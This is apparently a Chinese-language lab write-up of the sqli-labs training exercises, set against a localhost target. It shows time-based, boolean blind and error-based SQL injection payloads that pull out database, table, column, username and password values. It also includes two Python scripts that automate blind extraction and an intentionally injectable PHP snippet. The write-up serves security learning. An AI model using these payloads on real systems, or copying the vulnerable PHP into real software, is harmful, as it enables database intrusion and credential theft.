首先找注入点:
http://localhost:8010/sqli-labs/Less-5/?id=1
显示正常
http://localhost:8010/sqli-labs/Less-5/?id=1'
http://localhost:8010/sqli-labs/Less-5/?id=1'--+
发现没有问题,说明我们已经找到注入点了
http://localhost:8010/sqli-labs/Less-5/?id=1'union select 1,2,3--+
发现正常显示,我认为这是因为没有具体显示位的原因。
SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING。
eg:
SELECT LEFT(NAME,2),RIGHT(NAME,2) FROM T1
ORACLE substr()函数
substr(字符串,截取开始位置,截取长度) //返回截取的字
substr('Hello World',0,1) //返回结果为 'H' *从字符串第一个字符开始截取长度为1的字符串
substr('Hello World',1,1) //返回结果为 'H' *0和1都是表示截取的开始位置为第一个字符
substr('Hello World',2,4) //返回结果为 'ello'
substr('Hello World',-3,3)//返回结果为 'rld' *负数(-i)表示截取的开始位置为字符串右端向左数第i个字符
Oracle数据库中是没有left() 和right() 函数的
可以先测试长度,找到长度后,再进行注入。
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<'t' 这样的比较二分查找方法快速爆破。
爆库payload
?id=1' and left((select database()),1)='s'--+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
爆用户名payload
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。
`import requests url = "http://localhost:8010/sqli-labs/Less-8/?id=1'" # 数据库名称长度 i = 0 while 1: url1 = url + 'and length(database())>' + str(i) + '--+' re = requests.get(url1) if 'You are in' not in str(re.content): break i = i + 1 lenDb = i # 数据库名称 database = '' for i in range(lenDb): for asc in range(65, 123): url1 = url + 'and ascii(substr(database(),' + str(i + 1) + ',1))=' + str(asc) + ' --+' re = requests.get(url1) if 'You are in' in str(re.content): database = database + chr(asc) break print("content:\n",str(re.text)) print(database) `
import requests url = "http://localhost:8010/sqli-labs/Less-8/?id=1'" # 表的数量 tableNum = 0 while 1: url1 = url +"and exists(select table_name from information_schema.tables where table_schema='security' limit "+str(tableNum)+",1)--+" re = requests.get(url1) if 'You are in' in str(re.content): tableNum = tableNum + 1 else: break tableName=[] for n in range(tableNum): ls = 0 # 表的长度 while 1: url1 = url + "and length((select table_name from information_schema.tables where table_schema='security' limit "+str(n)+",1)) = "+str(ls)+"--+" re = requests.get(url1) if 'You are in' in str(re.content): break else: ls = ls + 1 # 表名 name = '' for i in range(ls): for asc in range(65,123): url1 = url + "and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit " + str(n) + ",1),"+str(i+1)+",1) )="+str(asc)+" --+" re = requests.get(url1) if "You are in" in str(re.content): name = name + chr(asc) break tableName.append(name) print(tableName)
通过页面返回结果,我们可以知道,程序直接将错误信息输出到了页面上,所以可以用报错注入获取数据,报错注入有多种格式
用updatexml演示获取user()值
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
获取database()
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取数据库库名
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schema.schemata limit 0,1),0x7e),1)--+ 获取数据库表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出OK;
如果出错,则通过echo mysqli_error(&con)将错误信息输出到页面(mysqli_error返回到上一个Mysql函数的错误)
代码如下:
<?php $con=mysqli_connect("localhost","root","123456","test"); if(mysqli_connect_errno()){ echo "连接失败:".mysqli_connect_error(); } $username = $_GET['username']; if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){ echo "ok"; }else{ echo mysqli_error($con); } ?>
(主要参照https://blog.csdn.net/qq_41420747/article/details/81836327大佬博客)